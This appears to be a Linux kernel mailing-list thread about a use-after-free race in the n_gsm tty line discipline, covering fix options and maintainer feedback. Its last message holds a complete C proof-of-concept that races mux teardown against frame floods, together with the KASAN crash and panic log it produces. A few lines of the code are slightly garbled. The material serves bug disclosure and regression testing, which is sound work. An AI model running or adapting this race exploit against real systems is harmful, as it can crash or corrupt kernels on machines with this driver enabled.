[  997.282435][   T46]  kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
[  997.283159][   T46]  gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
[  997.284050][   T46]  gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
[  997.284928][   T46]  tty_ioctl (drivers/tty/tty_io.c:2801)
[  997.285746][   T46]  __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[  997.286653][   T46]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[  997.287526][   T46]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  997.288639][   T46]

```

The NULL deref I reported is the same unguarded access on the same path, just hitting the window after the slot is already cleared. Either way a NULL check in the handlers can't fix it, since in the UAF case dlci isn't NULL.

I think the fix should serialize the receive side against gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:

Quoted 6 lines

1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
2. pin the dlci across the dispatch using its existing tty_port ref (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.

Do you have a preference, or is there a pattern in n_gsm you'd rather I use? I'll respin v2 once I know which way to go.

The bigger issue here is that almost no one has this hardware. And those that do, don't care about these types of issues as they do not have untrusted data or untrusted users, so be careful when changing things that you aren't able to test.

I think that option 2 would probably be best, as that should not affect any fast code paths, right?

Quoted 1 line

And I'll send the reproducer and the config to trigger it in a separate mail.

Quoted 8 lines

Can you turn that into a real test to be added to the tree in the correct location? I think we need to start adding these so that we get a base regression test for people to be able to run as all the LLM tools seem to love the broken code in this file :)

thanks,

greg k-h

Hi greg,

I'll try to write a base regression test and sent it together with the v2.

Best,
Weiming Shi

#5 lore raw
In reply to Greg Kroah-Hartman
Quoted 7 lines
Quoted 7 lines

I think the fix should serialize the receive side against gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:

1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
2. pin the dlci across the dispatch using its existing tty_port ref (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.

Quoted 6 lines
Quoted 2 lines

Do you have a preference, or is there a pattern in n_gsm you'd rather I use? I'll respin v2 once I know which way to go.

The bigger issue here is that almost no one has this hardware. And those that do, don't care about these types of issues as they do not have untrusted data or untrusted users, so be careful when changing things that you aren't able to test.

I think that option 2 would probably be best, as that should not affect any fast code paths, right?

A side note from my side: Using mutex instead of spinlock within the data transmission path has been tested in the past with a huge performance regression as a result. This made the protocol unreliable in production due to its tight timing requirements. Hence, I also vote for option 2. I just wonder how you plan to implement this. The racing GSMIOC_SETCONF ioctl, which triggers the gsm_cleanup_mux(), does so in order to re-create the virtual ttys. It can only do so by a full teardown. If you prevent the teardown there, the new devices will fail to register in the next step or the interface will be left with an unpredictable configuration.

See related mail from the past:
https://lore.kernel.org/linux-serial/Zh+iROsYkqoRsJQj@libra05/

Best regards,
Daniel Starke

#6 lore raw
In reply to Weiming Shi

here is the reproducer and the kernel config

Setup:

required configs:

```
CONFIG_N_GSM=y
CONFIG_SMP=y
CONFIG_PREEMPT=y
CONFIG_KASAN=y
```

Reproducer:

build: gcc poc.c -o poc -lpthread -static

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <linux/tty.h>
#include <linux/gsmmux.h>

#ifndef N_GSM0710
#define N_GSM0710 21
#endif

#define GSM0_SOF   0xF9
#define ADDR_DLCI0 0x03
#define PF         0x10
#define CTRL_SABM  (0x2F | PF)
#define CTRL_UIH   0xEF
#define INIT_FCS   0xFF
#define CMD_TEST_EA 0x23

static const unsigned char gsm_fcs8[256] = {
0x00,0x91,0xE3,0x72,0x07,0x96,0xE4,0x75,0x0E,0x9F,0xED,0x7C,0x09,0x98,0xEA,0x7B,
0x1C,0x8D,0xFF,0x6E,0x1B,0x8A,0xF8,0x69,0x12,0x83,0xF1,0x60,0x15,0x84,0xF6,0x67,
0x38,0xA9,0xDB,0x4A,0x3F,0xAE,0xDC,0x4D,0x36,0xA7,0xD5,0x44,0x31,0xA0,0xD2,0x43,
0x24,0xB5,0xC7,0x56,0x23,0xB2,0xC0,0x51,0x2A,0xBB,0xC9,0x58,0x2D,0xBC,0xCE,0x5F,
0x70,0xE1,0x93,0x02,0x77,0xE6,0x94,0x05,0x7E,0xEF,0x9D,0x0C,0x79,0xE8,0x9A,0x0B,
0x6C,0xFD,0x8F,0x1E,0x6B,0xFA,0x88,0x19,0x62,0xF3,0x81,0x10,0x65,0xF4,0x86,0x17,
0x48,0xD9,0xAB,0x3A,0x4F,0xDE,0xAC,0x3D,0x46,0xD7,0xA5,0x34,0x41,0xD0,0xA2,0x33,
0x54,0xC5,0xB7,0x26,0x53,0xC2,0xB0,0x21,0x5A,0xCB,0xB9,0x28,0x5D,0xCC,0xBE,0x2F,
0xE0,0x71,0x03,0x92,0xE7,0x76,0x04,0x95,0xEE,0x7F,0x0D,0x9C,0xE9,0x78,0x0A,0x9B,
0xFC,0x6D,0x1F,0x8E,0xFB,0x6A,0x18,0x89,0xF2,0x63,0x11,0x80,0xF5,0x64,0x16,0x87,
0xD8,0x49,0x3B,0xAA,0xDF,0x4E,0x3C,0xAD,0xD6,0x47,0x35,0xA4,0xD1,0x40,0x32,0xA3,
0xC4,0x55,0x27,0xB6,0xC3,0x52,0x20,0xB1,0xCA,0x5B,0x29,0xB8,0xCD,0x5C,0x2E,0xBF,
0x90,0x01,0x73,0xE2,0x97,0x06,0x74,0xE5,0x9E,0x0F,0x7D,0xEC,0x99,0x08,0x7A,0xEB,
0x8C,0x1D,0x6F,0xFE,0x8B,0x1A,0x68,0xF9,0x82,0x13,0x61,0xF0,0x85,0x14,0x66,0xF7,
0xA8,0x39,0x4B,0xDA,0xAF,0x3E,0x4C,0xDD,0xA6,0x37,0x45,0xD4,0xA1,0x30,0x42,0xD3,
0xB4,0x25,0x57,0xC6,0xB3,0x22,0x50,0xC1,0xBA,0x2B,0x59,0xC8,0xBD,0x2C,0x5E,0xCF
};

static unsigned char fcs_header(const unsigned char *p, int n){
    unsigned char fcs = INIT_FCS;
    for (int i=0;i<n;i++) fcs = gsm_fcs8[fcs ^ p[i]];
    return 0xFF - fcs;
}
static int build_frame(unsigned char *out, unsigned char addr, unsigned char ctrl,
                       const unsigned char *data, int dlen){
    unsigned char hdr[3]={addr,ctrl,(unsigned char)((dlen<<1)|1)};
    int i=0; out[i++]=GSM0_SOF; out[i++]=addr; out[i++]=ctrl;
    out[i++]=(unsigned char)((dlen<<1)|1);
    for(int j=0;j<dlen;j++) out[i++]=data[j];
    out[i++]=fcs_header(hdr,3); out[i++]=GSM0_SOF; return i;
}

static int gsm_fd, wire_fd;
static volatile int stop;
static int ncpu;

static unsigned char sabm_frame[16]; static int sabm_len;
static unsigned char test_frame[64]; static int test_len;
#define BATCH 64
static unsigned char batch_buf[BATCH*64]; static int batch_len;
static unsigned char reopen_buf[16 + 16*64]; static int reopen_len;

static void pin_cpu(int cpu){ cpu_set_t s; CPU_ZERO(&s); CPU_SET(cpu,&s); sched_setaffinity(0,sizeof(s),&s);}
static void nop_handler(int s){(void)s;}

static void *drain_thread(void *a){(void)a; unsigned char b[4096];
    while(!stop){ ssize_t n=read(wire_fd,b,sizeof(b)); if(n<=0) sched_yield(); } return NULL;}

static void *exprace_thread(void *a){(void)a; pin_cpu(1);
    setpriority(PRIO_PROCESS,0,-20); signal(SIGALRM,nop_handler);
    struct itimerval t={{0,25},{0,25}}; setitimer(ITIMER_REAL,&t,NULL);
    while(!stop) pause(); return NULL;}

static void *hog_thread(void *a){ long id=(long)a; int cpus[3]={0,2,3}; pin_cpu(cpus[id%3] < ncpu ? cpus[id%3] : 0);
    volatile unsigned long x=0; while(!stop){ for(int i=0;i<100000;i++) x+=i; (void)x; } return NULL;}

static void setconf(int fd,int mtu){
    struct gsm_config c; memset(&c,0,sizeof(c));
    c.adaption=1; c.encapsulation=0; c.initiator=0;
    c.mru=64; c.mtu=mtu; c.i=1; c.k=2; c.t1=1; c.t2=1; c.n2=1;
    ioctl(fd,GSMIOC_SETCONF,&c);
}

static volatile unsigned long teardowns;
static int mtu_toggle;
static v


        oid *teardown_thread(void *a){(void)a; pin_cpu(1);
    while(!stop){
        setconf(gsm_fd,(mtu_toggle++&1)?64:127);
        if(write(wire_fd,reopen_buf,reopen_len)<0){}
        teardowns++;
    }
G    return NULL;
}

int main(void){
    int ldisc=N_GSM0710; pthread_t tt,ir,dr; char sname[128]; struct termios tio;
    setvbuf(stdout,NULL,_IONBF,0);
    ncpu = sysconf(_SC_NPROCESSORS_ONLN); if(ncpu<2) ncpu=2;
    pin_cpu(0);
    mkdir("/dev/pts",0755); mount("devpts","/dev/pts","devpts",0,"");
    mount("devpts","/dev/pts","devpts",MS_REMOUNT,"");
    wire_fd=open("/dev/ptmx",O_RDWR|O_NOCTTY); if(wire_fd<0){perror("ptmx");return 1;}
    grantpt(wire_fd); unlockpt(wire_fd);
    if(ptsname_r(wire_fd,sname,sizeof(sname))){perror("ptsname");return 1;}
    gsm_fd=open(sname,O_RDWR|O_NOCTTY); if(gsm_fd<0){perror("open slave");return 1;}
    if(tcgetattr(wire_fd,&tio)==0){cfmakeraw(&tio); tcsetattr(wire_fd,TCSANOW,&tio);}
    if(ioctl(gsm_fd,TIOCSETD,&ldisc)<0){perror("TIOCSETD");return 1;}
    printf("[+] n_gsm ldisc installed; ncpu=%d\n",ncpu);
    setconf(gsm_fd,64);
    printf("[+] mux configured (responder)\n");

    sabm_len=build_frame(sabm_frame,ADDR_DLCI0,CTRL_SABM,NULL,0);
    unsigned char tp[16]; tp[0]=CMD_TEST_EA; tp[1]=(8<<1)|1;
    for(int i=0;i<8;i++) tp[2+i]=0x41+i;
    test_len=build_frame(test_frame,ADDR_DLCI0,CTRL_UIH,tp,2+8);
    batch_len=0; for(int i=0;i<BATCH;i++){memcpy(batch_buf+batch_len,test_frame,test_len); batch_len+=test_len;}
    reopen_len=0; memcpy(reopen_buf,sabm_frame,sabm_len); reopen_len+=sabm_len;
    for(int i=0;i<16;i++){memcpy(reopen_buf+reopen_len,test_frame,test_len); reopen_len+=test_len;}

    if(write(wire_fd,sabm_frame,sabm_len)<0){}

    pthread_create(&dr,NULL,drain_thread,NULL);
    pthread_create(&ir,NULL,exprace_thread,NULL);
    pthread_create(&tt,NULL,teardown_thread,NULL);
    int nh = (ncpu>=4)?3:1; pthread_t *hogs = calloc(nh,sizeof(pthread_t));
    for(long i=0;i<nh;i++) pthread_create(&hogs[i],NULL,hog_thread,(void*)i);

    unsigned long w=0;
    while(!stop && w<5000000000UL){
        if(write(wire_fd,batch_buf,batch_len)<0){}
        if((++w%200000)==0) printf("[r] flood=%lu teardowns=%lu\n",w,teardowns);
    }
    stop=1;
    pthread_join(tt,NULL); pthread_join(ir,NULL); pthread_join(dr,NULL);
    for(long i=0;i<nh;i++) pthread_join(hogs[i],NULL);
    printf("[-] poc finished (flood=%lu teardowns=%lu)\n",w,teardowns);
    return 0;
}
```

After a long process of competition, will see such KASAN logs.

```
root@repro:~# /tmp/exp/exploit
[+] n_gsm ldisc installed; ncpu=4
[+] mux configured (responder)
[r] flood=200000 teardowns=346
[   92.074763][ T1263] cfg80211: failed to load regulatory.db
[r] flood=400000 teardowns=702
[r] flood=600000 teardowns=1100
[r] flood=800000 teardowns=1470
[r] flood=1000000 teardowns=1855
[r] flood=1200000 teardowns=2236
[r] flood=1400000 teardowns=2625
[r] flood=1600000 teardowns=3017
[r] flood=1800000 teardowns=3404
[r] flood=2000000 teardowns=3798
[r] flood=2200000 teardowns=4183
[r] flood=2400000 teardowns=4559
[r] flood=2600000 teardowns=4937
[r] flood=2800000 teardowns=5306
[r] flood=3000000 teardowns=5691
[r] flood=3200000 teardowns=6044
[r] flood=3400000 teardowns=6394
[r] flood=3600000 teardowns=6757
[r] flood=3800000 teardowns=7100
[r] flood=4000000 teardowns=7460
[r] flood=4200000 teardowns=7823
[r] flood=4400000 teardowns=8187
[r] flood=4600000 teardowns=8561
[r] flood=4800000 teardowns=8921
[r] flood=5000000 teardowns=9283
[r] flood=5200000 teardowns=9689
[r] flood=5400000 teardowns=10069
[r] flood=5600000 teardowns=10433
[  997.225852][   T46] ==================================================================
[  997.227486][   T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0+0x1b6/0x1d0
[  997.229052][   T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
[  997.230517][   T46]
[  997.230952][   T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[  997.230958][   T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[  997.230961][   T46] Workqueue: events_unbound flush_to_ldisc
[  997.230969][   T46] Call Trace:
[  997.230972][   T46]  <TASK>
[  997.230974][   T46]  dump_stack_lvl+0x78/0xe0
[  997.230990][   T46]  print_report+0xf7/0x600
[  997.230996][   T46]  ? gsm_control_reply.isra.0+0x1b6/0x1d0
[  997.230999][   T46]  ? __virt_addr_valid+0x22c/0x420
[  997.231005][   T46]  ? gsm_control_reply.isra.0+0x1b6/0x1d0
[  997.231008][   T46]  kasan_report+0xe4/0x120
[  997.231012][   T46]  ? gsm_control_reply.isra.0+0x1b6/0x1d0
[  997.231016][   T46]  gsm_control_reply.isra.0+0x1b6/0x1d0
[  997.231020][   T46]  gsm_dlci_command+0x8ab/0x16f0
[  997.231024][   T46]  ? __pfx_gsm_dlci_command+0x10/0x10
[  997.231028][   T46]  ? tty_buffer_free+0x100/0x200
[  997.231032][   T46]  ? gsm_queue+0x1f4/0x750
[  997.231036][   T46]  gsmld_receive_buf+0x170/0x270
[  997.231040][   T46]  ? tty_buffer_free+0x1ae/0x200
[  997.231044][   T46]  tty_ldisc_receive_buf+0xfd/0x1d0
[  997.231048][   T46]  ? tty_ldisc_ref+0x19/0x70
[  997.231052][   T46]  tty_port_default_receive_buf+0x5e/0x90
[  997.231056][   T46]  flush_to_ldisc+0x1dc/0x7a0
[  997.231061][   T46]  ? rcu_is_watching+0x12/0xc0
[  997.231066][   T46]  process_one_work+0x8fb/0x1c20
[  997.231073][   T46]  ? __pfx_process_one_work+0x10/0x10
[  997.231078][   T46]  ? __pfx_flush_to_ldisc+0x10/0x10
[  997.231082][   T46]  worker_thread+0x528/0xeb0
[  997.231088][   T46]  ? __pfx_worker_thread+0x10/0x10
[  997.231091][   T46]  kthread+0x30d/0x400
[  997.231096][   T46]  ? _raw_spin_unlock_irq+0x23/0x50
[  997.231100][   T46]  ? __pfx_kthread+0x10/0x10
[  997.231103][   T46]  ret_from_fork+0x5fb/0xa10
[  997.231108][   T46]  ? __pfx_ret_from_fork+0x10/0x10
[  997.231112][   T46]  ? __switch_to+0x57f/0xe20
[  997.231117][   T46]  ? __pfx_kthread+0x10/0x10
[  997.231120][   T46]  ret_from_fork_asm+0x1a/0x30
[  997.231128][   T46]  </TASK>
[  997.231130][   T46]
[  997.267905][   T46] Allocated by task 5110:
[  997.268716][   T46]  kasan_save_stack+0x33/0x60
[  997.269595][   T46]  kasan_save_track+0x14/0x30
[  997.270483][   T46]  __kasan_kmalloc+0xaa/0xb0
[  997.271353][   T46]  gsm_dlci_alloc+0x45/0x780
[  997.272203][   T46]  gsm_activate_mux+0x12/0x220
[  997.273109][   T46]  gsmld_ioctl+0x92f/0x13d0
[  997.273981][   T46]  tty_ioctl+0x8f4/0x1250
[  997.274789][   T46]  __x64_sys_ioctl+0x134/0x1c0
[  997.275682][   T46]  do_syscall_64+0x116/0x7d0
[  997.276544][   T46]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  997.277658][   T46]
[  997.278108][   T46] Freed by task 5110:
[  997.278865][   T46]  kasan_save_stack+0x33/0x60
[  997.279740][   T46]  kasan_save_track+0x14/0x30
[  997.280615][   T46]  kasan_save_free_info+0x3b/0x60
[  997.281554][   T46]  __kasan_slab_free+0x5f/0x80
[  997.282435][   T46]  kfree+0x2e3/0x6c0
[  997.283159][   T46]  gsm_cleanup_mux+0x2b9/0x7a0
[  997.284050][   T46]  gsmld_ioctl+0x642/0x13d0
[  997.284928][   T46]  tty_ioctl+0x8f4/0x1250
[  997.285746][   T46]  __x64_sys_ioctl+0x134/0x1c0
[  997.286653][   T46]  do_syscall_64+0x116/0x7d0
[  997.287526][   T46]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  997.288639][   T46]
[  997.289071][   T46] The buggy address belongs to the object at ffff888029ae9000
[  997.289071][   T46]  which belongs to the cache kmalloc-2k of size 2048
[  997.291693][   T46] The buggy address is located 0 bytes inside of
[  997.291693][   T46]  freed 2048-byte region [ffff888029ae9000, ffff888029ae9800)
[  997.294229][   T46]
[  997.294696][   T46] The buggy address belongs to the physical page:
[  997.295885][   T46] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x29ae8
[  997.297505][   T46] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[  997.299083][   T46] flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
[  997.300489][   T46] page_type: f5(slab)
[  997.301222][   T46] raw: 00fff00000000040 ffff888019c42f00 dead000000000100 dead000000000122
[  997.302818][   T46] raw: 0000000000000000 0000000800080008 00000000f5000000 0000000000000000
[  997.304404][   T46] head: 00fff00000000040 ffff888019c42f00 dead000000000100 dead000000000122
[  997.305999][   T46] head: 0000000000000000 0000000800080008 00000000f5000000 0000000000000000
[  997.307589][   T46] head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[  997.309183][   T46] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[  997.310741][   T46] page dumped because: kasan: bad access detected
[  997.311895][   T46] page_owner tracks the page as allocated
[  997.312927][   T46] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP7
[  997.316667][   T46]  post_alloc_hook+0xfc/0x120
[  997.317525][   T46]  get_page_from_freelist+0x75b/0x3220
[  997.318514][   T46]  __alloc_frozen_pages_noprof+0x27e/0x2b00
[  997.319584][   T46]  new_slab+0xa6/0x670
[  997.320353][   T46]  refill_objects+0x278/0x420
[  997.321200][   T46]  __pcs_replace_empty_main+0x2ed/0x640
[  997.322198][   T46]  __kmalloc_cache_noprof+0x576/0x6e0
[  997.323176][   T46]  tty_register_device_attr+0x1e6/0x790
[  997.324185][   T46]  gsm_activate_mux+0x101/0x220
[  997.325064][   T46]  gsmld_ioctl+0x92f/0x13d0
[  997.325893][   T46]  tty_ioctl+0x8f4/0x1250
[  997.326674][   T46]  __x64_sys_ioctl+0x134/0x1c0
[  997.327569][   T46]  do_syscall_64+0x116/0x7d0
[  997.328411][   T46]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  997.329511][   T46] page last free pid 36 tgid 36 stack trace:
[  997.330590][   T46]  __free_frozen_pages+0x763/0xfc0
[  997.331513][   T46]  qlist_free_all+0x47/0xf0
[  997.332341][   T46]  kasan_quarantine_reduce+0x195/0x1e0
[  997.333329][   T46]  __kasan_slab_alloc+0x69/0x90
[  997.334218][   T46]  kmem_cache_alloc_lru_noprof+0x23f/0x6d0
[  997.335299][   T46]  __d_alloc+0x30/0x9e0
[  997.336062][   T46]  d_alloc+0x43/0x1d0
[  997.336802][   T46]  lookup_one_qstr_excl+0xf6/0x1d0
[  997.337736][   T46]  filename_create+0x195/0x360
[  997.338625][   T46]  start_creating_path+0x2f/0x50
[  997.339516][   T46]  devtmpfs_work_loop+0xea/0xbe0
[  997.340430][   T46]  devtmpfsd+0x2e/0x30
[  997.341168][   T46]  kthread+0x30d/0x400
[  997.341938][   T46]  ret_from_fork+0x5fb/0xa10
[  997.342773][   T46]  ret_from_fork_asm+0x1a/0x30
[  997.343641][   T46]
[  997.344094][   T46] Memory state around the buggy address:
[  997.345104][   T46]  ffff888029ae8f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  997.346571][   T46]  ffff888029ae8f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  997.348038][   T46] >ffff888029ae9000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  997.349516][   T46]                    ^
[  997.350248][   T46]  ffff888029ae9080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  997.351699][   T46]  ffff888029ae9100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  997.353151][   T46] ==================================================================
[  997.360386][   T46] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  997.361687][   T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[  997.363387][   T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[  997.365572][   T46] Workqueue: events_unbound flush_to_ldisc
[  997.366642][   T46] Call Trace:
[  997.367253][   T46]  <TASK>
[  997.367794][   T46]  vpanic+0x6be/0x790
[  997.368519][   T46]  ? __pfx_vpanic+0x10/0x10
[  997.369344][   T46]  ? gsm_control_reply.isra.0+0x1b6/0x1d0
[  997.370382][   T46]  panic+0xc5/0xd0
[  997.371056][   T46]  ? __pfx_panic+0x10/0x10
[  997.371887][   T46]  ? preempt_schedule_common+0x42/0xc0
[  997.372877][   T46]  ? preempt_schedule_thunk+0x16/0x30
[  997.373855][   T46]  check_panic_on_warn+0x5c/0x80
[  997.374749][   T46]  end_report+0x13e/0x180
[  997.375567][   T46]  kasan_report+0xf4/0x120
[  997.376377][   T46]  ? gsm_control_reply.isra.0+0x1b6/0x1d0
[  997.377406][   T46]  gsm_control_reply.isra.0+0x1b6/0x1d0
[  997.378417][   T46]  gsm_dlci_command+0x8ab/0x16f0
[  997.379312][   T46]  ? __pfx_gsm_dlci_command+0x10/0x10
[  997.380279][   T46]  ? tty_buffer_free+0x100/0x200
[  997.381192][   T46]  ? gsm_queue+0x1f4/0x750
[  997.381997][   T46]  gsmld_receive_buf+0x170/0x270
[  997.382886][   T46]  ? tty_buffer_free+0x1ae/0x200
[  997.383791][   T46]  tty_ldisc_receive_buf+0xfd/0x1d0
[  997.384736][   T46]  ? tty_ldisc_ref+0x19/0x70
[  997.385594][   T46]  tty_port_default_receive_buf+0x5e/0x90
[  997.386645][   T46]  flush_to_ldisc+0x1dc/0x7a0
[  997.387505][   T46]  ? rcu_is_watching+0x12/0xc0
[  997.388447][   T46]  process_one_work+0x8fb/0x1c20
[  997.389348][   T46]  ? __pfx_process_one_work+0x10/0x10
[  997.390338][   T46]  ? __pfx_flush_to_ldisc+0x10/0x10
[  997.391278][   T46]  worker_thread+0x528/0xeb0
[  997.392108][   T46]  ? __pfx_worker_thread+0x10/0x10
[  997.393052][   T46]  kthread+0x30d/0x400
[  997.393808][   T46]  ? _raw_spin_unlock_irq+0x23/0x50
[  997.394750][   T46]  ? __pfx_kthread+0x10/0x10
[  997.395594][   T46]  ret_from_fork+0x5fb/0xa10
[  997.396442][   T46]  ? __pfx_ret_from_fork+0x10/0x10
[  997.397375][   T46]  ? __switch_to+0x57f/0xe20
[  997.398196][   T46]  ? __pfx_kthread+0x10/0x10
[  997.399033][   T46]  ret_from_fork_asm+0x1a/0x30
[  997.399906][   T46]  </TASK>
[  997.401199][   T46] Kernel Offset: disabled
[  997.401979][   T46] Rebooting in 86400 seconds..
```